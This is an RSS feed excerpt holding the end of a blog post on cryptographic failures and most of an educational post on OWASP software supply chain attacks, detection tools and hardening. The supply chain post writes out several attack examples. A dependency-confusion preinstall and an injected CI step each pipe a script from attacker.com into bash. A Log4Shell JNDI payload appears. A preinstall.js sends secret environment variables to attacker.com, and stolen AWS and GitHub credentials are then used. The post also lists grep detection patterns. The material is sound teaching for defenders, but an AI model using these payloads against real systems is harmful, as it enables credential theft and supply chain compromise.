— TLS 1.0/1.1/SSLv3 disabled</li><li>[ ] RC4, 3DES, NULL, export ciphers removed</li><li>[ ] Strict-Transport-Security: max-age=31536000; includeSubDomains set</li><li>[ ] All cookies have Secure, HttpOnly, SameSite=Strict</li></ul><p><strong>Password Storage</strong></p><ul><li>[ ] Argon2id (preferred), bcrypt, or scrypt — never MD5/SHA-1/SHA-256</li><li>[ ] Unique random salt per user (modern KDFs do this automatically)</li><li>[ ] bcrypt cost ≥ 12, Argon2id memory ≥ 64MB, iterations ≥ 3</li><li>[ ] Passwords never logged or stored plain anywhere</li></ul><p><strong>Encryption</strong></p><ul><li>[ ] AES-256-GCM for data at rest — never ECB, never unauthenticated CBC</li><li>[ ] Unique random IV/nonce per encryption operation</li><li>[ ] Keys never hardcoded — fetched from KMS at runtime (AWS KMS, HashiCorp Vault)</li><li>[ ] Key rotation plan documented and tested</li></ul><p><strong>JWT &amp; Tokens</strong></p><ul><li>[ ] RS256/ES256 preferred — HS256 only with 256-bit random secret</li><li>[ ] alg:none explicitly rejected by JWT validation library</li><li>[ ] JWT library kept up to date — check CVEs regularly</li><li>[ ] Role/permission checks done server-side, never based on JWT claims alone</li><li>[ ] Short token expiry (15 min for access tokens)</li></ul><p><strong>Secrets &amp; Randomness</strong></p><ul><li>[ ] Zero secrets in source code or git history (Trufflehog/Gitleaks scan on every commit)</li><li>[ ] All security random values use CSPRNG: secrets (Python), crypto.randomBytes() (Node), SecureRandom (Java)</li><li>[ ] No Math.random(), rand(), or random.random() for anything security-related</li></ul><h3>11. CWE Mapping</h3><p>CWE What It Means Real Example CWE-256 Plaintext credential storage Passwords stored without hashing CWE-259 Hardcoded password password = &quot;admin123&quot; in code CWE-321 Hardcoded crypto key AES_KEY = b&quot;1234567890123456&quot; CWE-326 Inadequate encryption strength MD5 password hashing, 512-bit RSA CWE-327 Using broken algorithm MD5, SHA-1, DES, RC4, ECB mode CWE-330 Insufficient random values Math.random() for session tokens CWE-916 Insufficient password hashing SHA-256 without salt or iterations CWE-614 Cookie missing Secure flag Set-Cookie: session=abc (no Secure)</p><h3>12. Final Thoughts</h3><p>Cryptographic failures aren’t exotic. They’re things developers do every day — choosing MD5 because it’s fast, leaving JWT secrets as &quot;secret&quot; because they&#39;ll &quot;fix it later,&quot; never checking what TLS ciphers are actually enabled on their server.</p><p>Defaults are almost never secure. Fast is almost never the right choice for security. “Fix it later” is where most breaches live.</p><p>As a pentester, this category is one of the most rewarding. Once you understand it, findings are everywhere — weak TLS ciphers, old hashing algorithms, JWTs with guessable secrets, cookies missing a flag, keys in config files someone pushed years ago.</p><p>As a developer, the secure options are usually just as easy to use as the insecure ones. Argon2id is one import. AES-GCM is one mode switch. A 256-bit JWT secret is one secrets.token_bytes(32) call.</p><p>The gap between secure and insecure cryptographic implementation is often a single line of code. The gap between consequences — “minor finding” versus “153 million records cracked and posted publicly” — is enormous.</p><p>Use the right tools. Use them correctly. And test your assumptions — because the math doesn’t lie, but the implementation might.</p><p><em>This blog covers OWASP A02:2025 — Cryptographic Failures from beginner fundamentals through advanced exploitation. All techniques are for authorized security testing only. Always get written permission before testing any system you don’t own.</em></p><p><em>OWASP Top 10 2025, A02:2025, Cryptographic Failures, JWT Attacks, Padding Oracle, Hash Cracking, Hashcat, TLS Testing, AES-GCM, bcrypt, Argon2id, Penetration Testing, Bug Bounty, Application Security</em></p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b75be19e811b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-5-owasp-a04-2025-cryptographic-failures-the-complete-guide-from-beginner-to-advanced-b75be19e811b">Part 5 OWASP A04:2025: Cryptographic Failures The Complete Guide — From Beginner to Advanced</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 4 OWASP A03:2025: Software Supply Chain Failures — The Complete Guide to Detection…]]></title>
            <link>https://systemweakness.com/part-4-owasp-a03-2025-software-supply-chain-failures-the-complete-guide-to-detection-4afec7114e85?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/4afec7114e85</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[supply-chain]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 04:39:33 GMT</pubDate>
            <atom:updated>2026-09-04T07:29:31.144Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 4 OWASP A03:2025: Software Supply Chain Failures — The Complete Guide to Detection, Exploitation, and Defense</h3><p><em>“You wrote perfect code. Someone else’s code, that yours depends on, got compromised. Game over.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*nR9HSYEH7P9gkkkSCSx-JA.jpeg" /></figure><h3>Table of Contents</h3><ol><li>What Is a Software Supply Chain?</li><li>Why OWASP Made This #3 in 2025</li><li>How Supply Chain Attacks Actually Work</li><li>Types of Supply Chain Failures</li><li>Tools You Need</li><li>How to Find Supply Chain Vulnerabilities — Step by Step</li><li>Real Attack Techniques with Examples</li><li>Real-World Breach Case Studies</li><li>The Full Attack Chain — A Realistic Scenario</li><li>Hardening &amp; Mitigation Checklist</li><li>CWE Mapping</li><li>Final Thoughts</li></ol><h3>1. What Is a Software Supply Chain?</h3><p>Think about how a car gets built. Ford doesn’t mine iron ore, refine it into steel, and make every bolt themselves. They buy parts from hundreds of suppliers. If one supplier ships bad brake pads, every car with those brakes has a problem — even though Ford’s own factory did nothing wrong.</p><blockquote>Software works the same way.</blockquote><p>When you build an app today, you’re not writing everything from scratch. You’re pulling in packages from<em> </em><strong><em>npm, pip, Maven, or NuGet</em></strong>. Your build pipeline runs on Jenkins or GitHub Actions. Your containers use base images from Docker Hub. Your code gets scanned by third-party tools with deep system access.</p><p>Every one of those pieces is your supply chain. And if any piece gets compromised, your app gets compromised — even if your own code is flawless.</p><blockquote><em>That’s what OWASP A03:2025 is about: the stuff that gets into your software before you even write a line.</em></blockquote><h3>2. Why OWASP Made This #3 in 2025</h3><p>In 2021, this category was called “Vulnerable and Outdated Components” and sat at #6. The focus was simple: update your libraries. By 2025, the scope exploded.</p><p>The reason it jumped isn’t just theory. Here’s what changed:</p><p><strong>80–90% of modern application code comes from dependencies.</strong> You write the glue. The actual functionality — HTTP handling, cryptography, parsing, logging — comes from packages written by people you’ve never met, maintained by teams that might be one overworked volunteer.</p><p><strong>Attackers figured this out :</strong> Instead of breaking into your application directly, they broke into the things your application trusts. SolarWinds affected 18,000 organizations — not because 18,000 teams wrote bad code, but because they all trusted one vendor’s update mechanism.</p><p><strong>In the 2025 OWASP community survey, 50% of security professionals ranked this as the #1 threat</strong> — higher than any other category. The testing data ranks it #3 because automated scanners are bad at finding supply chain compromise. That gap between what professionals fear and what tools detect is exactly where the danger lives.</p><h3>3. How Supply Chain Attacks Actually Work</h3><p>There are a few different ways attackers get into your supply chain. Understanding each one changes how you defend against it.</p><p><strong>The library gets poisoned directly :</strong> An attacker compromises a package maintainer’s account (often through credential stuffing or phishing), then pushes a malicious version of a popular package. Every developer who runs npm install or pip install in the next few hours gets the backdoored version.</p><p><strong>A fake package tricks your build system : </strong>An attacker publishes a package with the same name as your internal private package, but on the public registry with a higher version number. Your build system pulls the public one instead of your internal one. <em>This is called dependency confusion</em>.</p><p><strong>The build pipeline itself gets attacked :</strong> Your CI/CD server is where code becomes software. If an attacker gets into Jenkins, GitHub Actions, or GitLab CI, they can inject malicious code into every build — before the artifacts are signed and shipped. The malware ends up in your official release, signed with your own certificate.</p><p><strong>An outdated library contains a known CVE :</strong> Nobody compromised anything actively. You’re just running a version of a library that has a publicly disclosed vulnerability and hasn’t been updated in two years.</p><blockquote>All four of these lead to the same outcome: your users run software that does things you didn’t intend and can’t see.</blockquote><h3>4. Types of Supply Chain Failures</h3><h4>4.1 Vulnerable and Outdated Dependencies</h4><p>Your package.json says &quot;lodash&quot;: &quot;^4.17.15&quot;. That version has a known prototype pollution vulnerability. You haven&#39;t updated it because &quot;it works.&quot; An attacker reads your public GitHub repo, sees the version, and chains that vulnerability with something else.</p><blockquote>This is the most common type, and the one most automated tools actually catch.</blockquote><h4>4.2 Dependency Confusion</h4><p>Your internal npm registry has a package called acme-auth. Your build server is configured to check the public npm registry first. An attacker publishes acme-auth on public npm with version 9.9.9 (higher than your internal 1.0.3). Your build pulls the attacker&#39;s version.</p><p>bash</p><pre># Attacker&#39;s malicious package.json (published to public npm)<br>{<br>  &quot;name&quot;: &quot;acme-auth&quot;,<br>  &quot;version&quot;: &quot;9.9.9&quot;,<br>  &quot;description&quot;: &quot;Internal auth library&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;preinstall&quot;: &quot;curl https://attacker.com/steal.sh | bash&quot;<br>  }<br>}</pre><blockquote>The preinstall script runs automatically when the package is installed. Before your app even builds, credentials are already exfiltrated.</blockquote><h4>4.3 Compromised CI/CD Pipeline</h4><p>If an attacker can push to your build config or access your CI/CD system:</p><p>yaml</p><pre># Malicious GitHub Actions workflow injection<br>- name: Build<br>  run: |<br>    npm run build<br>    # This line was injected by attacker:<br>    curl -s https://attacker.com/beacon.sh | bash</pre><blockquote>This runs silently in every build. The artifact looks clean. The malware is already in your pipeline.</blockquote><h4>4.4 Typosquatting</h4><p>Legitimate package: requests (Python)<br> Attacker&#39;s package: reqeusts, request, requests-pro</p><p>Developers mistype the name or search for a variation. The attacker’s package installs legitimate-looking functionality while also doing something malicious in the background.</p><h4>4.5 Malicious IDE Extensions</h4><p>VS Code extensions have access to your entire filesystem, environment variables, SSH keys, and .git config. A malicious extension with 200,000 installs can silently harvest credentials from every developer machine it touches.</p><h3>5. Tools You Need</h3><h4>5.1 Dependency Scanning</h4><p><strong>OWASP Dependency-Check</strong> — finds known CVEs in your project dependencies</p><p>bash</p><pre># Install<br>wget https://github.com/jeremylong/DependencyCheck/releases/download/v9.0.9/dependency-check-9.0.9-release.zip<br>unzip dependency-check-9.0.9-release.zip</pre><pre># Scan a project<br>./dependency-check/bin/dependency-check.sh \<br>  --project &quot;MyApp&quot; \<br>  --scan /path/to/project \<br>  --format HTML \<br>  --out ./reports/</pre><p>Output: Full HTML report listing every dependency, its version, and any associated CVEs with severity scores.</p><h4><strong>Snyk</strong> — developer-friendly, integrates with CI/CD :</h4><p>bash</p><pre># Install<br>npm install -g snyk</pre><pre># Authenticate<br>snyk auth</pre><pre># Scan Node.js project<br>snyk test</pre><pre># Scan Python project<br>snyk test --file=requirements.txt</pre><pre># Scan Docker image<br>snyk container test nginx:latest</pre><pre># Monitor continuously (pushes to Snyk dashboard)<br>snyk monitor</pre><h4><strong>pip-audit</strong> — Python-specific, lightweight :</h4><p>bash</p><pre>pip install pip-audit</pre><pre># Scan current environment<br>pip-audit</pre><pre># Scan a requirements file<br>pip-audit -r requirements.txt</pre><pre># Output JSON for automation<br>pip-audit -r requirements.txt -f json &gt; audit_results.json</pre><h4><strong>npm audit</strong> — built into npm, no install needed :</h4><p>bash</p><pre># Basic audit<br>npm audit</pre><pre># Get full JSON report<br>npm audit --json</pre><pre># Auto-fix low-severity issues<br>npm audit fix</pre><pre># Fix everything including breaking changes (careful)<br>npm audit fix --force</pre><h4><strong>Trivy</strong> — scans images, filesystems, git repos, Kubernetes :</h4><p>bash</p><pre># Install<br>curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin</pre><pre># Scan a Docker image<br>trivy image python:3.9-slim</pre><pre># Scan a local directory / project<br>trivy fs /path/to/project</pre><pre># Scan a GitHub repository<br>trivy repo <a href="https://github.com/target/repo">https://github.com/target/repo</a></pre><pre># Scan Kubernetes cluster<br>trivy k8s --report summary cluster</pre><pre># Output as SARIF for GitHub Security tab<br>trivy image --format sarif --output results.sarif myapp:latest</pre><h4>5.2 SBOM Generation</h4><p>An SBOM (Software Bill of Materials) is a complete inventory of everything in your software. Think of it as an ingredient list for your application.</p><h4><strong>Syft</strong> — generates SBOMs from images, directories, files :</h4><p>bash</p><pre># Install<br>curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin</pre><pre># Generate SBOM for a Docker image<br>syft nginx:latest</pre><pre># Generate SBOM in CycloneDX format (industry standard)<br>syft nginx:latest -o cyclonedx-json &gt; sbom.json</pre><pre># Generate SBOM for local project<br>syft dir:/path/to/project -o spdx-json &gt; sbom-spdx.json</pre><pre># Generate SBOM and pipe to Grype for vulnerability scanning<br>syft nginx:latest -o json | grype</pre><h4><strong>Grype</strong> — vulnerability scanner that works with SBOMs :</h4><p>bash</p><pre># Install<br>curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin</pre><pre># Scan an image<br>grype nginx:latest</pre><pre># Scan using an existing SBOM<br>grype sbom:./sbom.json</pre><pre># Only show critical and high<br>grype nginx:latest --fail-on high</pre><h4>5.3 Secret Scanning in Dependencies</h4><p>Sometimes the vulnerability isn’t a CVE — it’s a hardcoded secret in a dependency’s source code that gets included in your build.</p><h4><strong>Trufflehog</strong> — finds secrets in git history and filesystems :</h4><p>bash</p><pre># Install<br>pip install trufflehog</pre><pre># Scan a git repo<br>trufflehog git <a href="https://github.com/target/repo">https://github.com/target/repo</a></pre><pre># Scan local filesystem<br>trufflehog filesystem /path/to/project</pre><pre># Scan a Docker image<br>trufflehog docker --image nginx:latest</pre><h4><strong>Gitleaks</strong> — fast secret detection in git repos</h4><p>bash</p><pre># Install<br>brew install gitleaks  # or download binary</pre><pre># Scan current repo<br>gitleaks detect</pre><pre># Scan specific repo<br>gitleaks detect --source /path/to/repo</pre><pre># Scan and output JSON report<br>gitleaks detect --report-format json --report-path leaks.json</pre><pre># Protect (pre-commit mode — blocks commits with secrets)<br>gitleaks protect --staged</pre><h4>5.4 Checking Package Integrity :</h4><blockquote>Before trusting any package, verify its integrity.</blockquote><p>bash</p><pre># npm: check package signatures<br>npm audit signatures</pre><pre># pip: verify hash before install<br>pip install requests --require-hashes -r requirements.txt</pre><pre># In requirements.txt, pin with hash:<br># requests==2.31.0 --hash=sha256:58cd2187423d8cc0b18a875...</pre><pre># Verify a downloaded file&#39;s SHA256<br>sha256sum downloaded-package.tar.gz<br># Compare against the published hash on the project&#39;s releases page</pre><h3>6. How to Find Supply Chain Vulnerabilities — Step by Step</h3><p>This is how a professional security tester approaches supply chain assessment. Not random, not noisy — methodical.</p><h4>Phase 1: Map the Attack Surface</h4><p>Before you scan anything, understand what you’re dealing with.</p><p>bash</p><pre># For a Node.js project — list ALL dependencies (direct + transitive)<br>npm list --all 2&gt;/dev/null | head -100</pre><pre># Count how many total packages you&#39;re pulling in<br>npm list --all 2&gt;/dev/null | wc -l</pre><pre># For Python — list all installed packages<br>pip freeze</pre><pre># Find packages with no recent updates (stale dependencies)<br>npm outdated</pre><pre># Python equivalent<br>pip list --outdated</pre><p>If npm list --all shows 800 packages for a project that has 20 direct dependencies, that&#39;s 780 transitive dependencies you probably haven&#39;t reviewed. Each one is potential attack surface.</p><h4>Phase 2: Scan for Known CVEs</h4><p>bash</p><pre># Run OWASP Dependency-Check<br>dependency-check.sh --scan . --format JSON --out ./dc-report/</pre><pre># Parse for critical/high findings only<br>cat ./dc-report/dependency-check-report.json | \<br>  python3 -c &quot;<br>import json, sys<br>data = json.load(sys.stdin)<br>for dep in data.get(&#39;dependencies&#39;, []):<br>    for vuln in dep.get(&#39;vulnerabilities&#39;, []):<br>        if vuln[&#39;severity&#39;] in [&#39;CRITICAL&#39;, &#39;HIGH&#39;]:<br>            print(f\&quot;{dep[&#39;fileName&#39;]}: {vuln[&#39;name&#39;]} ({vuln[&#39;severity&#39;]}) - {vuln[&#39;description&#39;][:100]}\&quot;)<br>&quot;</pre><pre># Cross-reference with Snyk<br>snyk test --json | python3 -c &quot;<br>import json, sys<br>data = json.load(sys.stdin)<br>for vuln in data.get(&#39;vulnerabilities&#39;, []):<br>    if vuln[&#39;severity&#39;] in [&#39;critical&#39;, &#39;high&#39;]:<br>        print(f\&quot;{vuln[&#39;packageName&#39;]}@{vuln[&#39;version&#39;]}: {vuln[&#39;title&#39;]}\&quot;)<br>&quot;</pre><h4>Phase 3: Check for Dependency Confusion Risk</h4><p>bash</p><pre># Find all internal/scoped packages in package.json<br>cat package.json | python3 -c &quot;<br>import json, sys<br>data = json.load(sys.stdin)<br>deps = {**data.get(&#39;dependencies&#39;,{}), **data.get(&#39;devDependencies&#39;,{})}<br>for pkg in deps:<br>    if not pkg.startswith(&#39;@&#39;):<br>        print(pkg)<br>&quot; </pre><pre># Check if each unscoped package exists on public npm<br># (if it does AND you have internal packages with same name, you&#39;re vulnerable)<br>for pkg in $(cat package.json | python3 -c &quot;...&quot;); do<br>    curl -s <a href="https://registry.npmjs.org/$pkg">https://registry.npmjs.org/$pkg</a> | python3 -c &quot;<br>import json, sys<br>try:<br>    data = json.load(sys.stdin)<br>    print(f&#39;EXISTS on npm: {data[\&quot;name\&quot;]} (latest: {data[\&quot;dist-tags\&quot;][\&quot;latest\&quot;]})&#39;)<br>except:<br>    print(&#39;NOT on public npm - safe&#39;)<br>&quot;<br>done</pre><h4>Phase 4: Audit CI/CD Pipeline Configuration</h4><p>bash</p><pre># GitHub Actions — look for dangerous patterns<br>grep -r &quot;curl.*|.*bash&quot; .github/workflows/<br>grep -r &quot;wget.*|.*sh&quot; .github/workflows/<br>grep -r &quot;eval &quot; .github/workflows/<br>grep -r &quot;echo.*secrets&quot; .github/workflows/</pre><pre># Check if secrets get printed to logs (bad)<br>grep -rn &quot;echo.*\${{.*secrets&quot; .github/workflows/</pre><pre># Check for pinned action versions (good) vs floating (bad)<br># Bad: uses: actions/checkout@main  (floating, can be compromised)<br># Good: uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  (pinned to commit hash)<br>grep -r &quot;uses:.*@&quot; .github/workflows/ | grep -v &quot;@[a-f0-9]\{40\}&quot;<br># Anything that doesn&#39;t match a 40-char hash is not pinned</pre><h4>Phase 5: Check for Secrets in Dependencies</h4><p>bash</p><pre># Scan all node_modules for secrets (slow but thorough)<br>trufflehog filesystem ./node_modules/ --no-verification</pre><pre># Faster: scan only recently installed packages<br>find node_modules -name &quot;*.js&quot; -newer package-lock.json | \<br>  xargs grep -l &quot;AKIA\|sk-\|ghp_\|ghs_&quot; 2&gt;/dev/null</pre><pre># Check pip-installed packages for embedded secrets<br>find $(pip show pip | grep Location | awk &#39;{print $2}&#39;) -name &quot;*.py&quot; | \<br>  xargs grep -l &quot;password\|secret\|api_key&quot; 2&gt;/dev/null | head -20</pre><h4>Phase 6: Verify Package Integrity</h4><p>bash</p><pre># npm: check if any installed packages have been tampered with<br>npm audit signatures</pre><pre># Compare installed package hash against published hash<br>PACKAGE=&quot;lodash&quot;<br>VERSION=$(cat node_modules/lodash/package.json | python3 -c &quot;import json,sys; print(json.load(sys.stdin)[&#39;version&#39;])&quot;)<br>PUBLISHED_HASH=$(curl -s <a href="https://registry.npmjs.org/$PACKAGE/$VERSION">https://registry.npmjs.org/$PACKAGE/$VERSION</a> | python3 -c &quot;import json,sys; d=json.load(sys.stdin); print(d[&#39;dist&#39;][&#39;shasum&#39;])&quot;)<br>echo &quot;Published hash: $PUBLISHED_HASH&quot;</pre><h3>7. Real Attack Techniques with Examples</h3><h4>7.1 Exploiting a Vulnerable Dependency (Log4Shell Style)</h4><p>When Log4j was vulnerable (CVE-2021–44228), exploitation was this simple:</p><p>bash</p><pre># Attacker sends this string in any user-controlled field<br># (HTTP header, username field, search box, anywhere)<br>${jndi:ldap://attacker.com:1389/exploit}</pre><pre># Log4j sees it, tries to look it up via LDAP<br># LDAP server responds with a Java class<br># Java class executes on the victim server<br># Result: Remote Code Execution</pre><p>The terrifying part: developers didn’t write this vulnerability. Log4j was just doing its job — logging user input. The logging library itself was the attack vector.</p><blockquote>To test if an application is vulnerable:</blockquote><p>bash</p><pre># Tool: log4j-scan<br>pip install log4j-scan<br>log4j-scan -u https://target.com</pre><pre># Manual test — inject in common headers<br>curl -H &#39;X-Forwarded-For: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}&#39; <a href="https://target.com/">https://target.com</a><br>curl -H &#39;User-Agent: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}&#39; <a href="https://target.com/">https://target.com</a><br>curl -H &#39;X-Api-Version: ${jndi:ldap://YOUR-BURP-COLLABORATOR.com/test}&#39; <a href="https://target.com/">https://target.com</a></pre><pre># If your Burp Collaborator gets a DNS hit, it&#39;s vulnerable</pre><h4>7.2 Dependency Confusion Attack</h4><p>This is a real technique researcher Alex Birsan used to earn over $130,000 in bug bounties in 2021.</p><p>bash</p><pre># Step 1: Find internal package names<br># Look in public GitHub repos, job postings, error messages<br># Example: You find &quot;shopco-internal-utils&quot; referenced in a public error log</pre><pre># Step 2: Check if it exists on public npm<br>npm show shopco-internal-utils  # If &quot;not found&quot; — vulnerable</pre><pre># Step 3 (what an attacker would do): <br># Publish a package with same name + higher version on public npm<br># with malicious preinstall script</pre><pre># Step 4: If the victim&#39;s build system has public registry priority,<br># it downloads attacker&#39;s package instead of internal one</pre><pre># Defense: Use scoped packages and .npmrc to force internal registry<br>echo &quot;@shopco:registry=https://internal.registry.shopco.com&quot; &gt;&gt; .npmrc</pre><h4>7.3 Typosquatting Detection</h4><p>bash</p><pre># Check if common typos of your dependencies exist on public registries<br># Example: checking for typosquats of &quot;requests&quot; (Python)</pre><pre>python3 -c &quot;<br>import itertools, requests</pre><pre>package = &#39;requests&#39;<br># Generate common typo variations<br>variations = set()<br>for i in range(len(package)):<br>    # Letter swap<br>    variations.add(package[:i] + package[i+1:])<br>    # Double letter<br>    variations.add(package[:i] + package[i]*2 + package[i+1:])</pre><pre>for var in list(variations)[:20]:<br>    try:<br>        r = requests.get(f&#39;https://pypi.org/pypi/{var}/json&#39;, timeout=3)<br>        if r.status_code == 200:<br>            print(f&#39;FOUND on PyPI: {var}&#39;)<br>    except:<br>        pass<br>&quot;</pre><h4>7.4 Malicious Preinstall Script Detection</h4><p>bash</p><pre># Before installing any package, inspect its scripts<br>npm show &lt;package-name&gt;</pre><pre># Or download without installing and read package.json<br>npm pack &lt;package-name&gt;<br>tar -xzf &lt;package-name&gt;-*.tgz<br>cat package/package.json | python3 -c &quot;<br>import json, sys<br>data = json.load(sys.stdin)<br>scripts = data.get(&#39;scripts&#39;, {})<br>dangerous = [&#39;preinstall&#39;, &#39;install&#39;, &#39;postinstall&#39;, &#39;preuninstall&#39;]<br>for s in dangerous:<br>    if s in scripts:<br>        print(f&#39;WARNING - {s} script found:&#39;)<br>        print(f&#39;  {scripts[s]}&#39;)<br>&quot;</pre><h3>8. Real-World Breach Case Studies</h3><h4>SolarWinds Orion (2020) — 18,000 Organizations Compromised</h4><p>Attackers got into SolarWinds’ build environment and inserted a backdoor (named SUNBURST) directly into the Orion software update. The malicious code was compiled as part of the official build, signed with SolarWinds’ own certificate, and distributed as a routine software update.</p><p>Organizations didn’t fail to patch. They actively installed what they believed was a legitimate, digitally-signed security software update. 18,000 organizations including US government agencies, intelligence agencies, and Fortune 500 companies ran backdoored software for months before it was discovered.</p><p>Root causes: no integrity verification on build artifacts, no anomaly detection on the build system, overly broad network access from the compromised software.</p><p>Lesson: A digitally-signed package is not a safe package if the signing key or build system was compromised before signing.</p><h4>Bybit $1.5 Billion Theft (2025)</h4><p>The largest cryptocurrency theft in history happened through a conditional supply chain attack. Wallet software was compromised such that the malicious code only activated when the target wallet — Bybit’s — was being used. The malware sat dormant in countless other installations and did nothing, making it nearly impossible to detect through normal testing.</p><p>Root cause: compromised dependencies in wallet software, no runtime integrity verification.</p><p>Lesson: Testing your software in staging doesn’t catch malware that activates conditionally against specific targets.</p><h4>Shai-Hulud npm Worm (2025)</h4><p>Attackers published malicious versions of popular npm packages containing worm logic. When installed, the package used preinstall scripts to harvest any npm tokens present in the developer&#39;s environment, then used those tokens to publish malicious versions of any packages that developer had publish access to. One infected developer spread the worm to every package they maintained.</p><p>Root cause: npm tokens with broad publish access stored in developer environments, no verification of outbound network calls during install.</p><p>Lesson: Developer machines are now part of the supply chain attack surface. Compromising one developer with publish access can cascade into compromising thousands of downstream packages.</p><h4>NotPetya (2017) — $10 Billion in Damage</h4><p>Attackers compromised MeDoc, Ukrainian accounting software used by most businesses operating in Ukraine. They injected malware into the software’s legitimate update mechanism. When businesses applied the routine update, NotPetya deployed — encrypting everything and spreading laterally across networks using the EternalBlue exploit.</p><p>Root cause: no integrity verification on software updates, update mechanism had no signature checking.</p><p>Lesson: Even small, regional software vendors can be entry points for attacks that affect global enterprises.</p><h3>9. The Full Attack Chain — A Realistic Scenario</h3><p>Target: A mid-sized fintech company. Call them PayCo.</p><p><strong>Step 1: Reconnaissance</strong></p><p>Attacker finds PayCo’s public GitHub repo. The package.json shows they use payco-auth-utils — clearly an internal package. Search on npm shows it doesn&#39;t exist publicly.</p><p>bash</p><pre>npm show payco-auth-utils<br># npm ERR! 404 Not Found - GET https://registry.npmjs.org/payco-auth-utils</pre><blockquote>Dependency confusion vulnerability confirmed.</blockquote><p><strong>Step 2: Publish Malicious Package</strong></p><p>Attacker creates a package called payco-auth-utils with version 99.0.0 (much higher than PayCo&#39;s internal 2.1.4). The preinstall script:</p><p>javascript</p><pre>// preinstall.js (runs automatically on npm install)<br>const https = require(&#39;https&#39;);<br>const { execSync } = require(&#39;child_process&#39;);</pre><pre>// Collect environment variables<br>const env = process.env;<br>const secrets = Object.keys(env)<br>  .filter(k =&gt; /key|secret|token|password|aws/i.test(k))<br>  .reduce((obj, k) =&gt; ({ ...obj, [k]: env[k] }), {});</pre><pre>// Send to attacker<br>https.get(`https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(secrets))}`);</pre><p><strong>Step 3: Victim Build Pulls Malicious Package</strong></p><p>PayCo’s CI/CD runs on Monday morning. The build server checks the public npm registry first (misconfiguration). It sees payco-auth-utils@99.0.0 and downloads it. The preinstall script runs on the build server.</p><p>Exfiltrated: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL.</p><p><strong>Step 4: Attacker Uses Stolen Credentials</strong></p><p>bash</p><pre># With AWS keys:<br>aws configure  # enters stolen keys<br>aws s3 ls      # lists all PayCo&#39;s S3 buckets<br>aws s3 cp s3://payco-customer-data/transactions_2024.csv .</pre><pre># With GitHub token:<br>curl -H &quot;Authorization: token STOLEN_GITHUB_TOKEN&quot; \<br>  <a href="https://api.github.com/repos/payco/private-repo/contents/">https://api.github.com/repos/payco/private-repo/contents/</a><br># Full source code access</pre><p><strong>What went wrong at each step:</strong></p><p><strong><em>StepProblemFixPublic </em></strong>package name <strong><em>takenInternal</em></strong> package names not scoped or reserved on public <strong><em>registryUse</em></strong> @payco/<strong><em>auth-utils</em></strong> scoped <strong><em>namingBuild </em></strong>pulled public <strong><em>registrynpm</em></strong> not configured to use internal registry <strong><em>exclusively</em></strong><strong><em>.npmrc</em></strong> with registry=https://internal.payco.comPreinstall ran network <strong><em>callNo</em></strong> outbound network blocking during<strong><em> buildBuild</em></strong> environment network <strong><em>policiesKeys </em></strong>in env <strong><em>variablesSecrets</em></strong> in environment instead of secrets <em>managerAWS</em> Secrets Manager / <strong><em>VaultNo detectionNo</em></strong> monitoring of unusual S3 <strong><em>accessCloudTrail</em></strong> + <strong><em>GuardDuty</em></strong></p><h3>10. Hardening &amp; Mitigation Checklist</h3><h4><strong>Dependencies :</strong></h4><ul><li>Run dependency scanner (Snyk, OWASP Dependency-Check) on every PR</li><li>All dependencies pinned to exact versions (not ^ or ~)</li><li>Dependency hashes verified in lockfiles (package-lock.json, poetry.lock)</li><li>npm audit signatures passes clean</li><li>No packages with preinstall/postinstall scripts you haven&#39;t reviewed</li><li>npm outdated / pip list --outdated reviewed weekly</li><li>Transitive dependencies inventoried (generate SBOM with Syft)</li></ul><h4><strong>Package Registry :</strong></h4><ul><li>Internal packages use scoped naming (@company/package-name)</li><li>.npmrc or pip.conf points to internal registry exclusively</li><li>Internal package names reserved on public registries</li><li>Package signing enabled where supported</li></ul><h4><strong>CI/CD Pipeline :</strong></h4><ul><li>Build system requires authentication (no anonymous access)</li><li>GitHub Actions use pinned commit hashes, not branch names</li><li>Secrets never echoed to build logs</li><li>Build environment network egress restricted</li><li>Build artifacts signed and signature verified before deployment</li><li>Separate build environments per project</li></ul><h4><strong>Secrets Management :</strong></h4><ul><li>No credentials in environment variables on build servers</li><li>AWS/cloud credentials use IAM roles, not long-lived access keys</li><li>All secrets through a vault (HashiCorp Vault, AWS Secrets Manager)</li><li>Secret scanning runs on all commits (Gitleaks pre-commit hook)</li></ul><h4><strong>Monitoring :</strong></h4><ul><li>SBOM generated on every build and stored centrally</li><li>CVE feeds monitored against your SBOM (Grype in watch mode)</li><li>Alerts on new vulnerabilities in components you use</li><li>Build system access logs reviewed regularly</li></ul><h3>11. CWE Mapping</h3><p>CWEDescriptionSupply Chain ExampleCWE-1104Use of Unmaintained Third-Party ComponentsLibrary abandoned in 2019, CVE published 2024CWE-494Download of Code Without Integrity Checknpm install without hash verificationCWE-829Inclusion of Functionality from Untrusted Control SpherePulling packages from public registry without verificationCWE-913Improper Control of Dynamically-Managed Code ResourcesPreinstall scripts executing arbitrary codeCWE-426Untrusted Search PathBuild system resolving public packages before 